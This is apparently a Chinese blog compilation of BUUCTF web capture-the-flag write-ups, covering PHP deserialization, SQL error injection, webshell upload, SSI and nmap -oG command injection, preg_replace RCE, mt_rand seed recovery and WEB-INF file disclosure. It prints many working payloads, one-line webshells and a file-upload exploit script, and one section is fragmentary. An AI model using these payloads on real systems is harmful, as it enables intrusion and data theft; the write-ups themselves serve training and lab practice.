buuctf

[ZJCTF 2019]NiZhuanSiWei 1

知识点:

data://    写入数据

php://input  执行php

  //filter  查看源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
<?php 
$text = $_GET["text"];
$file = $_GET["file"];
$password = $_GET["password"];
if(isset($text)&&(file_get_contents($text,'r')==="welcome to the zjctf")){
echo "<br><h1>".file_get_contents($text,'r')."</h1></br>";
if(preg_match("/flag/",$file)){
echo "Not now!";
exit();
}else{
include($file); //useless.php
$password = unserialize($password);
echo $password;
}
}
else{
highlight_file(__FILE__);
}
?>

  我们需要get方式提交参数,text、file、password。

然后就是来到了第一个需要绕过的地方

1
if(isset($text)&&(file_get_contents($text,'r')==="welcome to the zjctf"))

  要求text不为空,这是肯定的,主要看下一句,file_get_contents($text,’r’)===”welcome to the zjctf”,从文件里读取字符串,还要和welcome to the zjctf相等。

这时候就用到了我们的data:// 写入协议了

于是我们先构造第一个payload:?text=data://text/plain,welcome to the zjctf

下面我们不能用flag.php来访问,因为被正则匹配,我们就拿不到反序列化后的password了。

1
2
3
4
5
6
7
8
if(preg_match("/flag/",$file)){
echo "Not now!";
exit();
}else{
include($file); //useless.php
$password = unserialize($password);
echo $password;
}

  

下一个我们就该反序列化password了,但是我们又看到了useless.php文件包含,在这之前我们需要先读取里面的源码,然后将password反序列化出来。

于是我们构造第二个payload:file=php://filter/read=convert.base64-encode/resource=useless.php

这时候你会得到一串base64的编码,然后我们解码就得到了源码

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php 

class Flag{ //flag.php
public $file;
public function __tostring(){
if(isset($this->file)){
echo file_get_contents($this->file);
echo "<br>";
return ("U R SO CLOSE !///COME ON PLZ");
}
}
}
?>

 得到源码之后,我们将这个源码中的$file赋值flag.php,反序列化一下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php 

class Flag{ //flag.php
public $file="flag.php";
public function __tostring(){
if(isset($this->file)){
echo file_get_contents($this->file);
echo "<br>";
return ("U R SO CLOSE !///COME ON PLZ");
}
}
}
$password=new Flag();
echo serialize($password);
?>

  然后可以找在线的php解释器执行一下,也可以用自己的phpstudy本地服务器运行一下,我因为又本地服务器,我就再本地服务器上面跑了一下,于是得到反序列化的password

O:4:”Flag”:1:{s:4:”file”;s:8:”flag.php”;}

这样我们重新构造最终的payload:

1
?text=data://text/plain,welcome%20to%20the%20zjctf&file=useless.php&password=O:4:%22Flag%22:1:{s:4:%22file%22;s:8:%22flag.php%22;}

[极客大挑战 2019]HardSQL 1

sql注入题,先试试万能密码username=1' or 1=1#
password=123

经过一系列尝试后,发现空格,=,union都被过滤了
空格被过滤我们使用()来代替空格 /**/貌似也被过滤了
既然如此,尝试一下报错注入

爆库
payload:username=1'or(updatexml(1,concat(0x7e,database(),0x7e),1))#&password=1

爆表
payload:username=1'or(updatexml(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where(table_schema)like(database())),0x7e),1))#&password=1

爆字段
payload:username=1'or(updatexml(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_name)like('H4rDsq1')),0x7e),1))#&password=1

爆值
payload:username=1'or(updatexml(1,concat(0x7e,(select(group_concat(id,username,password))from(H4rDsq1)),0x7e),1))#&password=1

并没有成功显示flag,只显示了一半~
经过查询知道了right()可以查询后面的部分
payload:username=1'or(updatexml(1,concat(0x7e,(select(group_concat(right(password,25)))from(H4rDsq1)),0x7e),1))#&password=1
和前面显示出的flag拼接删改得到完整的flag

[WUSTCTF2020]CV Maker

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
<?php
function isImage($filename){
$image_type = exif_imagetype($filename);
switch ($image_type) {
case IMAGETYPE_GIF:
return "gif";
break;
case IMAGETYPE_JPEG:
return "jpg";
break;
case IMAGETYPE_PNG:
return "png";
break;
default:
return false;
break;
}
}
if (isset($_POST['submit'])) {
$temp_file = $_FILES['upload_file']['tmp_name'];
if (isImage($temp_file)) {
$name = $_FILES['upload_file']['name'];
$ext = substr(strrchr($name, '.'), 1);
$img_path = 'uploads/'.md5($_COOKIE["_Hz"]).'.'.$ext;
$fn = "uploads/".md5($_COOKIE["_Hz"]).".*";
if (glob($fn)) {
$ffn = glob($fn)[0];
unlink($ffn);
}
if (move_uploaded_file($temp_file, $img_path)){
$is_upload = true;
} else {
$msg = '上传出错!';
}
if ($is_upload) {
echo '<div class="cc-profile-image"><a href="#"><img src="'.$img_path.'" alt="Image"/></a></div></br>';
}else{
echo '<div class="h2 title">'.$msg.'</div>';
}
}else{
echo '<div class="h3 title">exif_imagetype not image!</div>';
}
}else{
$fn = "uploads/".md5($_COOKIE["_Hz"]).".*";
if (glob($fn)) {
echo '<div class="cc-profile-image"><a href="#"><img src="'.glob($fn)[0].'" alt="Image"/></a></div></br>';
}else{
echo '<div class="cc-profile-image"><a href="#"><img src="images/anthony.jpg" alt="Image"/></a></div></br>';
}

}
?>

注册成功后报错,猜测可能有注入点。先放在这里,继续登陆。发现是上传头像,那猜测可能有文件上传漏洞了

exif_imagetype函数,很常见的了,判断文件头是否是图片。

那我先传入一个图片马,上传成功。但是发现无论是.htaccess,还是各种格式的都无法上传成功,图片马也无法利用。

这时猜测是否能通过web应用程序解析漏洞绕过。报错网页,发现是apache

由于apache在解析文件名的时候是从右向左读,如果遇到不能识别的扩展名则跳过,jpg等扩展名是apache不能识别的,

因此如果一个文件名为1.php.gif。就会直接将类型识别为php,从而达到了注入php代码的目的

但是这里又无法上传成功,很奇怪。这里测试了一会,发现反着利用就可以了,上传1.jpg.php

看图片链接,发现上传路径/uploads。然后最奇特的一点,jpg好像被过滤成空了,直接是php文件了。那就直接利用。蚁剑连接,在根目录下找到flag

[BJDCTF2020]EasySearch

通过扫后台发现index.php.swp备份

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
<?php
ob_start();
function get_hash(){
$chars = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789!@#$%^&*()+-';
$random = $chars[mt_rand(0,73)].$chars[mt_rand(0,73)].$chars[mt_rand(0,73)].$chars[mt_rand(0,73)].$chars[mt_rand(0,73)];//Random 5 times
$content = uniqid().$random;
return sha1($content);
}
header("Content-Type: text/html;charset=utf-8");

***

if(isset($_POST['username']) and $_POST['username'] != '' )
​ {
$admin = '6d0bc1';
if ( $admin == substr(md5($_POST['password']),0,6)) {
echo "<script>alert('[+] Welcome to manage system')</script>";
$file_shtml = "public/".get_hash().".shtml";
$shtml = fopen($file_shtml, "w") or die("Unable to open file!");
$text = '

***

***

<h1>Hello,'.$_POST['username'].'</h1>

***

​ ***';
fwrite($shtml,$text);
fclose($shtml);

***

echo "[!] Header error ...";
​ } else {
echo "<script>alert('[!] Failed')</script>";


}else
{
***
}
***

?>

要求password的md5值的前6个字符为6d0bc1。敲代码(python):

1
2
3
4
5
from hashlib import md5

for i in range(10000000):
if md5(str(i).encode('utf-8')).hexdigest()[:6] == '6d0bc1':
print(i)

2020666
2305004
9162671

1
username=1&password=2020666

抓包得到Url_is_here: public/5a9c9895628d4de6662c576d8b2039658d972752.shtml

https://www.wenjianbaike.com/shtml.html

能根据命令动态回显网页的某个部分,比如时间。可以注入,用来远程命令执行。

这里的username为注入点

1
username=<!--#exec cmd="ls"-->&password=2020666
1
username=<!--#exec cmd="ls ../"-->&password=2020666

打开flag_990c66bf85a09c664f0b6741840499b2

1
username=<!--#exec cmd="cat ../flag_990c66bf85a09c664f0b6741840499b2"-->&password=2020666

注意因为是上级目录,所以要保留../
回显得到flag

[网鼎杯 2020 朱雀组]Nmap

知识点:nmap -oG 写入文件-iL读取扫描文件escapeshellarg绕过(https://paper.seebug.org/164/)

解法:nmap扫描结果写入文件时加入一句话木马,需要绕过escapeshellarg()函数

页面类似Nmap的功能,一个输入命令行,提示输入ip地址,尝试输入正常内容:127.0.0.1

有回显,尝试命令执行,使用 |分隔ip地址与命令,未成功,|\转义

查阅escapeshellarg函数的资料,发现存在绕过漏洞:https://paper.seebug.org/164/

传入参数:127.0.0.1’ -v -d a=1
经过escapeshellarg()函数处理后变为:’127.0.0.1’'‘ -v -d a=1’,也就是将其中的’单引号转义,再用单引号将内容包含起来
处理完的字符串再通过escapeshellcmd()函数的处理,变成:’127.0.0.1’\‘’ -v -d a=1',因为escapeshellcmd()函数对\以及最后的未闭合的’进行了转义
由于两次函数的处理,最终参数可简化成:127.0.0.1\ -v -d a=1’,因为包围127.0.0.1的单引号产生了闭合,\被解释为\,中间的两个单引号’’完成了闭合,最终留下了a=1’,也就是末尾的单引号。
结合本题环境,常用的命令注入方法都不行,题目环境为Nmap扫描,查阅到Nmap可以写入文件,其中参数-oG可以实现将命令和结果写入文件,尝试构造如下Payload:

1
127.0.0.1 <?php @eval();?> -oG hack.php

简单写入一句话木马,会被escapeshellarg()escapeshellcmd()函数处理为:

1
'127.0.0.1 \<\?php @eval\(\)\;\?\> -oG hack.php'

因为两端单引号闭合,所以一句话木马只是被当成了字符串处理。

所以需要闭合所有的单引号,将一句话木马变成一条命令,尝试在Payload前后均加上'单引号:

1
'127.0.0.1 <?php @eval();?> -oG hack.php'

处理后所有的单引号均已闭合,最终可简化为:

1
\127.0.0.1 <?php @eval();?> -oG hack.php

命令成功执行,给出了文件保存位置,使用蚁剑连接

[BJDCTF2020]ZJCTF,不过如此

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<?php

error_reporting(0);
$text = $_GET["text"];
$file = $_GET["file"];
if(isset($text)&&(file_get_contents($text,'r')==="I have a dream")){
echo "<br><h1>".file_get_contents($text,'r')."</h1></br>";
if(preg_match("/flag/",$file)){
die("Not now!");
}

include($file); //next.php

}
else{
highlight_file(__FILE__);
}
?>

传两个参数text和file,要求file_get_contents($text,’r’)===”I have a dream”

text用php://input绕过

file用php://filter读取

payload:

1
?file=php://filter/read=convert.base64-encode/resource=next.php&text=php://input

post上传一个I have a dream

得到next.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
<?php
$id = $_GET['id'];
$_SESSION['id'] = $id;

function complex($re, $str) {
return preg_replace(
'/(' . $re . ')/ei',
'strtolower("\\1")',
$str
);
}


foreach($_GET as $re => $str) {
echo complex($re, $str). "\n";
}

function getFlag(){
@eval($_GET['cmd']);
}

preg_replace的一个RCE漏洞https://xz.aliyun.com/t/2557

payload:/?.*={${phpinfo()}} ,即 GET 方式传入的参数名为 .* ,值为 {${phpinfo()}}

1
2
原先的语句: preg_replace('/(' . $regex . ')/ei', 'strtolower("\\1")', $value);
变成了语句: preg_replace('/(.*)/ei', 'strtolower("\\1")', {${phpinfo()}});

但我们的 .* 是通过 GET 方式传入,你会发现无法执行 phpinfo 函数

在PHP中,对于传入的非法的 $_GET 数组参数名,会将其转换成下划线,这就导致我们正则匹配失效。

我们传上去的 .* 变成了 _*

换一个正则表达式,让其匹配到 {${phpinfo()}} 即可执行 phpinfo 函数。

payload\S*=${phpinfo()}

坑:为什么要匹配到 {${phpinfo()}} 或者 ${phpinfo()} ,才能执行 phpinfo 函数。这实际上是 PHP可变变量 的原因。在PHP中双引号包裹的字符串中可以解析变量,而单引号则不行。 ${phpinfo()} 中的 phpinfo() 会被当做变量先执行,执行后,即变成 ${1} (phpinfo()成功执行返回true)。

payload:

1
/next.php?\S*=${eval($_POST[cmd])}

同时Post传

1
cmd=system("cat /flag");

1
/next.php?\S*=${getFlag()}&cmd=system("cat /flag");

[GWCTF 2019]枯燥的抽奖

伪随机数构造

image-20231120210805143

源代码发现check.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
<?php
#这不是抽奖程序的源代码!不许看!
header("Content-Type: text/html;charset=utf-8");
session_start();
if(!isset($_SESSION['seed'])){
$_SESSION['seed']=rand(0,999999999);
}

mt_srand($_SESSION['seed']);
$str_long1 = "abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ";
$str='';
$len1=20;
for ( $i = 0; $i < $len1; $i++ ){
$str.=substr($str_long1, mt_rand(0, strlen($str_long1) - 1), 1);
}
$str_show = substr($str, 0, 10);
echo "<p id='p1'>".$str_show."</p>";

if(isset($_POST['num'])){
if($_POST['num']===$str){x
echo "<p id=flag>抽奖,就是那么枯燥且无味,给你flag{xxxxxxxxx}</p>";
}
else{
echo "<p id=flag>没抽中哦,再试试吧</p>";
}
}
show_source("check.php");

含有mt_rand函数,PHP mt_rand安全杂谈及应用场景详解

1.伪随机数(引用上面的链接内容)
伪随机数是用确定性的算法计算出来的随机数序列,它并不真正的随机,但具有类似于随机数的统计特征,如均匀性、独立性等。在计算伪随机数时,若使用的初值(种子)不变,那么伪随机数的数序也不变。伪随机数可以用计算机大量生成,在模拟研究中为了提高模拟效率,一般采用伪随机数代替真正的随机数。模拟中使用的一般是循环周期极长并能通过随机数检验的伪随机数,以保证计算结果的随机性。伪随机数的生成方法有线性同余法、单向散列函数法、密码法等。

mt_rand就是一个伪随机数生成函数,它由可确定的函数,通过一个种子产生的伪随机数。这意味着:如果知道了种子,或者已经产生的随机数,都可能获得接下来随机数序列的信息(可预测性)。

所以:大致过程就明了了,我们根据已经给出的部分随机数,利用工具找出seed(种子),然后得到完整的随机数。

2.将已知部分伪随机数转化为php_mt_seed工具可以看懂的数据

1
2
3
4
5
6
7
8
9
10
11
12
13
14
str1 ='fjoC9Ygwj7'
str2 = "abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ"
result =''


length = str(len(str2)-1)
for i in range(0,len(str1)):
for j in range(0,len(str2)):
if str1[i] == str2[j]:
result += str(j) + ' ' +str(j) + ' ' + '0' + ' ' + length + ' '
break


print(result)
1
5 5 0 61 9 9 0 61 14 14 0 61 38 38 0 61 35 35 0 61 60 60 0 61 6 6 0 61 22 22 0 61 9 9 0 61 33 33 0 61

3.下载php_mt_seed工具并且使用

image-20231120213315052

1
2
3
4
5
6
7
8
9
10
<?php
mt_srand(17749670);
$str_long1 = "abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ";
$str='';
$len1=20;
for ( $i = 0; $i < $len1; $i++ ){
$str.=substr($str_long1, mt_rand(0, strlen($str_long1) - 1), 1);
}
echo "<p id='p1'>".$str."</p>";
?>
1
<p id='p1'>fjoC9Ygwj7O4LXcygiZf</p> 

上传得到flag

[红明谷CTF 2021]write_shell

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
<?php
error_reporting(0);
highlight_file(__FILE__);
function check($input){
if(preg_match("/'| |_|php|;|~|\\^|\\+|eval|{|}/i",$input)){
// if(preg_match("/'| |_|=|php/",$input)){
die('hacker!!!');
}else{
return $input;
}
}

function waf($input){
if(is_array($input)){
foreach($input as $key=>$output){
$input[$key] = waf($output);
}
}else{
$input = check($input);
}
}

$dir = 'sandbox/' . md5($_SERVER['REMOTE_ADDR']) . '/';
if(!file_exists($dir)){
mkdir($dir);
}
switch($_GET["action"] ?? "") {
case 'pwd':
echo $dir;
break;
case 'upload':
$data = $_GET["data"] ?? "";
waf($data);
file_put_contents("$dir" . "index.php", $data);
}
?>

提供了查看路径和写入文件的功能,但是存在WAF机制,不允许写入黑名单中的内容。

使用echo标记简写<?=绕过<?php 的限制,再用.来连接p和hp,因为分号被过滤掉了,只执行一行语句可以省略:

1
/?action=upload&data=<?=(ph.pinfo)()?>
1
/?action=upload&data=<?=(ph.pinfo)()?>

访问发现写入成功

查询文件,用%09代替空格:

1
/?action=upload&data=<?=`ls%09/`?>

查看flag

1
/?action=upload&data=<?=`cat%09/flllllll1112222222lag`?>

[网鼎杯 2020 青龙组]AreUSerialz

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
<?php

include("flag.php");

highlight_file(__FILE__);

class FileHandler {

protected $op;
protected $filename;
protected $content;

function __construct() {
$op = "1";
$filename = "/tmp/tmpfile";
$content = "Hello World!";
$this->process();
}

public function process() {
if($this->op == "1") {
$this->write();
} else if($this->op == "2") {
$res = $this->read();
$this->output($res);
} else {
$this->output("Bad Hacker!");
}
}

private function write() {
if(isset($this->filename) && isset($this->content)) {
if(strlen((string)$this->content) > 100) {
$this->output("Too long!");
die();
}
$res = file_put_contents($this->filename, $this->content);
if($res) $this->output("Successful!");
else $this->output("Failed!");
} else {
$this->output("Failed!");
}
}

private function read() {
$res = "";
if(isset($this->filename)) {
$res = file_get_contents($this->filename);
}
return $res;
}

private function output($s) {
echo "[Result]: <br>";
echo $s;
}

function __destruct() {
if($this->op === "2")
$this->op = "1";
$this->content = "";
$this->process();
}

}

function is_valid($s) {
for($i = 0; $i < strlen($s); $i++)
if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))
return false;
return true;
}

if(isset($_GET{'str'})) {

$str = (string)$_GET['str'];
if(is_valid($str)) {
$obj = unserialize($str);
}

}

get传入一个序列化后的类对象

需要绕过

is_valid()
要求我们传入的str的每个字母的ascli值在32和125之间。因为protected属性在序列化之后会出现不可见字符\00*\00,不符合上面的要求。

1
2
3
4
5
6
function is_valid($s) {
for($i = 0; $i < strlen($s); $i++)
if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))
return false;
return true;
}

destruct()魔术方法
op===”2”,是强比较

1
2
3
4
5
6
7
8
function __destruct() {
if($this->op === "2")
$this->op = "1";
$this->content = "";
$this->process();
}

KOTLIN

而在process()函数中,op==”2”是弱比较

1
2
3
4
5
6
7
8
9
10
public function process() {
if($this->op == "1") {
$this->write();
} else if($this->op == "2") {
$res = $this->read();
$this->output($res);
} else {
$this->output("Bad Hacker!");
}
}

所以可以使传入的op为数字2,从而使第一个强比较返回false,而使第二个弱比较返回true

序列化操作:

1
2
3
4
5
6
7
8
9
10
11
12
<?php
class FileHandler {

public $op = 2;
public $filename = "flag.php";
#public $filename = "php://filter/read=convert.base64-encode/resource=flag.php";
public $content = "1"; //因为destruct函数会将content改为空,所以content的值随意(但是要满足is_valid()函数的要求)
}
$a=new FileHandler();
$b = serialize($a);
echo $b;
?>
1
O:11:"FileHandler":3:{s:2:"op";i:2;s:8:"filename";s:8:"flag.php";s:7:"content";s:1:"1";}

payload:

1
?str=O:11:"FileHandler":3:{s:2:"op";i:2;s:8:"filename";s:8:"flag.php";s:7:"content";s:1:"1";}

[CISCN 2019 初赛]Love Math

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
<?php
error_reporting(0);
//听说你很喜欢数学,不知道你是否爱它胜过爱flag
if(!isset($_GET['c'])){
show_source(__FILE__);
}else{
//例子 c=20-1
$content = $_GET['c'];
if (strlen($content) >= 80) {
die("太长了不会算");
}
$blacklist = [' ', '\t', '\r', '\n','\'', '"', '`', '\[', '\]'];
foreach ($blacklist as $blackitem) {
if (preg_match('/' . $blackitem . '/m', $content)) {
die("请不要输入奇奇怪怪的字符");
}
}
//常用数学函数http://www.w3school.com.cn/php/php_ref_math.asp
$whitelist = ['abs', 'acos', 'acosh', 'asin', 'asinh', 'atan2', 'atan', 'atanh', 'base_convert', 'bindec', 'ceil', 'cos', 'cosh', 'decbin', 'dechex', 'decoct', 'deg2rad', 'exp', 'expm1', 'floor', 'fmod', 'getrandmax', 'hexdec', 'hypot', 'is_finite', 'is_infinite', 'is_nan', 'lcg_value', 'log10', 'log1p', 'log', 'max', 'min', 'mt_getrandmax', 'mt_rand', 'mt_srand', 'octdec', 'pi', 'pow', 'rad2deg', 'rand', 'round', 'sin', 'sinh', 'sqrt', 'srand', 'tan', 'tanh'];
preg_match_all('/[a-zA-Z_\x7f-\xff][a-zA-Z_0-9\x7f-\xff]*/', $content, $used_funcs);
foreach ($used_funcs[0] as $func) {
if (!in_array($func, $whitelist)) {
die("请不要输入奇奇怪怪的函数");
}
}
//帮你算出答案
eval('echo '.$content.';');
}

1.长度被限制在80以内
2.黑名单
3.白名单

可用函数

1
2
3
4
5
6
7
base_convert()	        在任意进制之间转换数字。
bindec() 把二进制转换为十进制。
decbin() 把十进制转换为二进制。
dechex() 把十进制转换为十六进制。
decoct() 把十进制转换为八进制。
hexdec() 把十六进制转换为十进制。
octdec() 把八进制转换为十进制。

payload1:GET传参

1
2
3
system(cat /flag)
[]被过滤,使用{}代替
转变为 {a}({b})&a=system&b=cat /flag

构造_GET参数,需要hex2bin()函数

hex2bin() 函数把十六进制值的字符串转换为 ASCII 字符

base_convert() 函数在任意进制之间转换数字

dechex() 函数把十进制数转换为十六进制数

1
2
3
4
5
echo base_convert("hex2bin",36,10);
37907361743
得到了hex2bin函数
base_convert(37907361743,10,36) =>hex2bin
base_convert(37907361743,10,36)(dechex(1598506324)) =>_GET
1
2
payload: $pi=base_convert(37907361743,10,36)(dechex(1598506324));($$pi){pi}(($$pi){abs})&pi=system&abs=cat /flag
($$pi){pi}(($$pi){abs}) => ($_GET){pi}($_GET){abs}

payload2:header传参

getallheaders — 获取全部 HTTP 请求头信息

1
2
3
4
5
6
palyload: $pi=base_convert,$pi(696468,10,36)($pi(8768397090111664438,10,30)(){1})

base_convert(696468,10,36) => "exec"
$pi(8768397090111664438,10,30) => "getallheaders"
exec(getallheaders(){1})
1:cat flag.php

[RoarCTF 2019]Easy Java

源码中提示

1
java.io.FileNotFoundException:{help.docx}

WEB-INF是java的WEB应用的安全目录。

1.WEB-INF/web.xml

web应用程序配置文件,描述了servlet和其他的应用组件配置及命名规则。

2.WEB-INF/classes

包含了站点所有用的class文件,包括servlet class和非servlet class

3.WEB-INF/lib

存放web应用需要的JAR文件

4.WEB-INF/src

源码目录,按照包名结构放置各个java文件

5.WEB-INF/database.properties

数据库配置文件

6.WEB-INF/tags

存放了自定义标签文件

7.WEB-INF/jsp

jsp 1.2 一下版本的文件存放位置。

8.WEB-INF/jsp2

存放jsp2.0以下版本的文件。

9.META-INF

相当于一个信息包。

Nginx在映射静态文件时,把WEB-INF目录映射进去,而又没有做Nginx的相关安全配置(或Nginx自身一些缺陷影响)。从而导致通过Nginx访问到Tomcat的WEB-INF目录

解题思路:

通过找到web.xml文件,推断class文件的路径,最后直接class文件,在通过反编译class文件,得到网站源码。

1
POST /Download?filename=WEB-INF/web.xml

com.wm.FlagController,尝试下载FlagController.class文件

1
POST /Download?filename=WEB-INF/classes/com/wm/ctf/FlagController.class

image-20231207211036485

[BUUCTF 2018]Online Tool

1
2
3
4
5
6
7
8
9
10
escapeshellarg — 把字符串转码为可以在 shell 命令里使用的参数

功能 :escapeshellarg() 将给字符串增加一个单引号并且能引用或者转码任何已经存在的单引号,这样以确保能够直接将一个字符串传入 shell 函数,shell 函数包含 exec(),system() 执行运算符(反引号)

定义 :string escapeshellarg ( string $arg )

escapeshellcmd

功能 :escapeshellcmd() 对字符串中可能会欺骗 shell 命令执行任意命令的字符进行转义。 此函数保证用户输入的数据在传送到 exec() 或 system() 函数,或者 执行操作符 之前进行转义
反斜线(\)会在以下字符之前插入:&#;`|*?~<>^()[]{}$\、\x0A 和 \xFF。 ' 和 " 仅在不配对的时候被转义。
  1. 传入的参数是

    1
    127.0.0.1' -v -d a=1
  2. 由于escapeshellarg先对单引号转义,再用单引号将左右两部分括起来从而起到连接的作用。所以处理之后的效果如下:

    1
    '127.0.0.1'\'' -v -d a=1'
  3. 接着 escapeshellcmd 函数对第二步处理后字符串中的 \ 以及 a=1' 中的单引号进行转义处理,结果如下所示:

    1
    '127.0.0.1'\\'' -v -d a=1\'
  4. 由于第三步处理之后的payload中的 \\ 被解释成了 \ 而不再是转义字符,所以单引号配对连接之后将payload分割为三个部分,具体如下所示:

6

可以简化为 curl 127.0.0.1\ -v -d a=1' ,即向 127.0.0.1\ 发起请求,POST 数据为 a=1'

但是如果是先用 escapeshellcmd 函数过滤,再用的 escapeshellarg 函数过滤,则没有这个问题。

PHP escapeshellarg()和escapeshellcmd()并用之殇

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<?php

if (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) {
$_SERVER['REMOTE_ADDR'] = $_SERVER['HTTP_X_FORWARDED_FOR'];
}

if(!isset($_GET['host'])) {
highlight_file(__FILE__);
} else {
$host = $_GET['host'];
$host = escapeshellarg($host);
$host = escapeshellcmd($host);
$sandbox = md5("glzjin". $_SERVER['REMOTE_ADDR']);
echo 'you are in sandbox '.$sandbox;
@mkdir($sandbox);
chdir($sandbox);
echo system("nmap -T5 -sT -Pn --host-timeout 2 -F ".$host);
}

有system来执行命令

常见的命令后注入操作如 | & && ; 都不行,虽然我们通过上面的操作逃过了单引号,但escapeshellcmd会对这些特殊符号前面加上\来转移

nmap命令中 有一个参数-oG可以实现将命令和结果写到文件。 这个命令就是我们的输入可控,然后写入到文件

payload:

1
?host=' <?php echo phpinfo();?> -oG test.php '
1
?host=' <?php echo `cat /flag`;?> -oG test.php '

image-20231207215017541

访问查看flag

image-20231207215045898

[安洵杯 2019]easy_serialize_php

1
2
3
<?php

?>'&filename=test.php

连接中国蚁剑
在根目录运行readflag

[NPUCTF2020]ezinclude

源码发现提示

1
<!--md5($secret.$name)===$pass -->

get方式传入值

image-20240307213807493

响应包将一串hash值设置在Cookie内返回,而这串hash值是当前传入的参数name使用md5加密后的结果,我们将获取到的值再用参数pass传入就可以了

发现/flflflflag.php

image-20240307214040392

include($_GET[“file”])

用伪协议读取一下源码

image-20240307214340054

1
2
3
4
5
6
7
8
<?php
$file=$_GET['file'];
if(preg_match('/data|input|zip/is',$file)){
die('nonono');
}
@include($file);
echo 'include($_GET["file"])';
?>

过滤了data和input,不用考虑命令执行了。

扫描发现dir.php和congfig.php

1
2
3
<?php
var_dump(scandir('/tmp'));
?>
1
2
3
<?php
$secret='%^$&$#fffdflag_is_not_here_ha_ha';
?>

dir.php能打印临时文件夹里的内容,尝试利用

观察响应包可得X-Powered-By: PHP/7.0.33

知识点:

php7.0的bug:

1
?file=php://filter/string.strip_tags/resource=/etc/passwd

使用php://filter/string.strip_tags导致php崩溃清空堆栈重启,如果在同时上传了一个文件,那么这个tmp file就会一直留在tmp目录,再进行文件名爆破就可以getshell。这个崩溃原因是存在一处空指针引用。

该方法仅适用于以下php7版本,php5并不存在该崩溃。

1
2
3
4
5
• php7.0.0-7.1.2可以利用, 7.1.2x版本的已被修复

• php7.1.3-7.2.1可以利用, 7.2.1x版本的已被修复

• php7.2.2-7.2.8可以利用, 7.2.9一直到7.3到现在的版本已被修复

脚本如下

1
2
3
4
5
6
7
8
9
10
11
12
import requests
from io import BytesIO

url = "http://daf37d2a-5017-47b7-a42b-71db66a88c63.node4.buuoj.cn:81/flflflflag.php?file=php://filter/string.strip_tags/resource=/etc/passwd"

phpfile = "<?php phpinfo(); ?>"
filedata = {
"file":phpfile
}

bak = requests.post(url=url, files=filedata)
print(bak.text)

进入dir.php查看发现木马已上传:

image-20240307215250453

image-20240307215313276

[HFCTF2020]EasyLogin

查看源码app.js

image-20240308202156477

观察网站源码,在app.js中可以查看登录验证,可以看到登录相关的主要存在这三个变量中username, password, authorization。当登录成功时就会跳转到/home目录下失败则会返回Cannot read property 'split' of undefined

寻找未发现

由于上面的 app.js 里有写到 static 是直接映射到程序根目录的,猜测程序可能存在任意文件读取漏洞。继续对网站进行探测,在controllers接口中发现api.js泄露,里面存在具体的登录注册等逻辑代码,也就是放在服务端的代码。

/controllers/api.js

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
const crypto = require('crypto');
const fs = require('fs')
const jwt = require('jsonwebtoken')

const APIError = require('../rest').APIError;

module.exports = {
'POST /api/register': async (ctx, next) => {
const {username, password} = ctx.request.body;

if(!username || username === 'admin'){
throw new APIError('register error', 'wrong username');
}

if(global.secrets.length > 100000) {
global.secrets = [];
}

const secret = crypto.randomBytes(18).toString('hex');
const secretid = global.secrets.length;
global.secrets.push(secret)

const token = jwt.sign({secretid, username, password}, secret, {algorithm: 'HS256'});

ctx.rest({
token: token
});

await next();
},

'POST /api/login': async (ctx, next) => {
const {username, password} = ctx.request.body;

if(!username || !password) {
throw new APIError('login error', 'username or password is necessary');
}

const token = ctx.header.authorization || ctx.request.body.authorization || ctx.request.query.authorization;

const sid = JSON.parse(Buffer.from(token.split('.')[1], 'base64').toString()).secretid;

console.log(sid)

if(sid === undefined || sid === null || !(sid < global.secrets.length && sid >= 0)) {
throw new APIError('login error', 'no such secret id');
}

const secret = global.secrets[sid];

const user = jwt.verify(token, secret, {algorithm: 'HS256'});

const status = username === user.username && password === user.password;

if(status) {
ctx.session.username = username;
}

ctx.rest({
status
});

await next();
},

'GET /api/flag': async (ctx, next) => {
if(ctx.session.username !== 'admin'){
throw new APIError('permission error', 'permission denied');
}

const flag = fs.readFileSync('/flag').toString();
ctx.rest({
flag
});

await next();
},

'GET /api/logout': async (ctx, next) => {
ctx.session.username = null;
ctx.rest({
status: true
})
await next();
}
};

注册部分代码逻辑:

